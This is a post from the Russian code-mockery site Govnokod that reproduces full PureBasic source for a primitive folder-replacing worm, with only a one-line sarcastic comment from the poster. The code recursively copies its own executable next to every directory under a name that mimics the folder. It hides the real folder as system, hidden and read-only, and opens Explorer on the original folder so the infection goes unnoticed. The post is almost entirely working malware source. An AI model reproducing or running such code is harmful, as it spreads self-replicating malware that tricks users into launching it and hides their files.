1. VisualBasic / Говнокод #21159

    −125

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    ;********************************************************************
    ;* Примитивный червь. Распространяется, подменяя собой папки.       *
    ;* Для компиляции в среде PureBasic 5.30                            *
    ;* Автор не несет ответственности за Ваши действия с этим кодом.    *
    ;********************************************************************
    
    
    Procedure Spread(path.s)
      Define finddata.WIN32_FIND_DATA,hFind.l
      Define.s fname, ext
      Define.l attrs
      If Right(path,1) <> "\":path+"\":EndIf
      hfind=FindFirstFile_(path+"*.*",@finddata)
      If hfind <> -1
        Repeat
          fname=PeekS(@finddata\cFileName)
          If (fname <> ".") And (fname <> "..")
            fname=path+fname
            attrs=finddata\dwFileAttributes
            ext=LCase(GetExtensionPart(fname))
            If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
              If CopyFile(ProgramFilename(), fname+".exe")
                SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
                SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
              EndIf
              Spread(fname)
            EndIf
          EndIf
        Until Not FindNextFile_(hfind,@finddata)
      EndIf
    EndProcedure
    
    Procedure Main()
      Define.l hm
      Define path.s
      path=ProgramFilename()
      
      path=Left(path,Len(path)-Len(GetExtensionPart(path)))
      If FileSize(path) <> -1
        ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
      EndIf
      
      hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
      If hm<>0
        CloseHandle_(hm)
      Else
        hm=CreateMutex_(0,#True,@"mutexname")
        spread(GetCurrentDirectory())
      EndIf
    EndProcedure
    
    Main()

    Студенты извращаются.

    Запостил: fajes_rown, 09 Сентября 2016

    Комментарии (77) RSS

    Добавить комментарий